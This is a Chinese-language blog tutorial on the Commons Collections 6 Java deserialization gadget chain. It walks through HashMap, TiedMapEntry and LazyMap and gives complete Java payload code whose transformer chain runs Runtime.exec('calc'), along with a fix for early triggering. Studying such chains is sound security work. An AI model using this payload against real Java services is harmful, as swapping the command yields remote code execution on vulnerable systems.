JAVA反序列化之CC链6
前言
**CC链6是最普适的一条链子,不受版本的限制,主要还是和它选用的反序列化类有关系,CC链6是在CC链(补充)1的基础上,进行的改进的,将反序列化的起始类改成了HashMap类,所以突破了版本的限制 **
CC6启动
我们在前面分析URLDNSLOG那条链子的时候,入口类就是HashMap,清楚的明白,其readObject方法调用了hash(key)方法
1 2 3 4 5 6 7 8 9 for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); }
hash(key)其实调用了HashMap里面的hash方法
1 2 3 4 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
因为基于CC链1的缘故,我们还是使用的LazyMap,所以还是得调用LazyMap里面的get方法,所以此时我们要找一个类,这个类的hashCode方法里面调用了get方法
我们找到了TiedMapEntry类,其类的hashCode方法是这样写的
1 2 3 4 5 public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
看样子是没有调用get方法的,其实呢,是调用了的,就在getValue()方法中
1 2 3 public Object getValue () { return map.get(key); }
我们再看看参数是否可控呢?
1 2 3 4 5 public TiedMapEntry (Map map, Object key) { super (); this .map = map; this .key = key; }
有一个公有的构造方法,所以参数是我们可控的,我们只要传入LazyMap就可以了
比较简单,直接构造payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" ,new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedtransformer = new ChainedTransformer (transformers);HashMap<Object, Object> hashMap = new HashMap <>(); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);HashMap<Object,Object> hashtoMap= new HashMap <>(); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"AAA" );hashtoMap.put(tiedMapEntry,"XXX" ); SerializeUtil.serialize(hashtoMap,"hashtoMap.bin" );
但是,如此构造payload就会遇到一个问题,和URLDNSLOG那条链子一样的问题,就是我们在hashtoMap.put(tiedMapEntry,”XXX”)的时候,就已经开始执行这条链子了
1 2 3 4 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
因为put里面也调用了hash(key),导致后面一系列的执行,最要命的是,如此执行之后,我们反序列化时就不会执行代码了,为啥呢
因为一旦执行到LazyMap的get方法
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
就会在我们传入的空的hashMap上加入这个键值,导致反序列化时,if判断不是false,无法执行transform函数
解决方法也和URLDNSLOG那条链一致
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" ,new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedtransformer = new ChainedTransformer (transformers);HashMap<Object, Object> hashMap = new HashMap <>(); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);HashMap<Object,Object> hashtoMap= new HashMap <>(); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"AAA" );hashtoMap.put(tiedMapEntry,"XXX" ); hashMap.clear(); Object deserialize = SerializeUtil.deserialize("hashtoMap.bin" );
如果想要执行put的时候也不执行命令,也是可以的,不过我觉得没必要,这里也不是执行DNSLOG,我觉得没有影响
如果还是想,就在前面将LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);第二个参数改成一个new ChainedTransformer(),待执行完put之后,反射调用LazyMap将chainedtransformer再次赋值回去
参考资料
1 【Java反序列化CommonsCollections篇(二)-最好用的CC链】https://www.bilibili.com/video/BV1yP4y1p7N7?vd_source=c210ec42fbb60565fb74b1baf7a2c3ef